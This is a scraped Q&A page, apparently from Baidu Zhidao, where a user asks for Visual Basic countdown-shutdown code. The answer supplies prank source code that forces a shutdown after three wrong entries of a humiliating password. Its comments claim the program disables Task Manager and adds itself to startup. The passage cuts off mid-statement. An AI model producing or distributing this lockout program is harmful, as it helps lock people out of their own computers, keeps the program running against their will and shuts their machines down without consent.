vb 倒记时关机源码

来源:百度知道 编辑:UC知道 时间:2024/06/18 14:21:25
在窗体上显示倒记时 30 29 28 到0 关机! 没按纽 窗体加载自动显示的那个! 最好所有系统都OK

'这是我以前写的一个,很牛的.我自己都没办法关,只能照样子输入
'添加一个按钮command1,一个文本框,text1,和一个时间控件timer1
'把下面的代码复制到窗体里就可以了.
'注:任务管理器打不开.自动加入启动项.
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Dim a, i As Integer
Private Sub Command1_Click()
a = a + 1
If a = 3 Then Shell "cmd.exe /c shutdown -s -t 5": Close #1: Close #2: MsgBox "连续三次输入错误,系统5秒后关机.", vbCritical, "关机!"
If Text1.Text <> "我是猪我是猪我是猪" Then
'------------------------
Dim myval
myval = SetWindowPos(Me.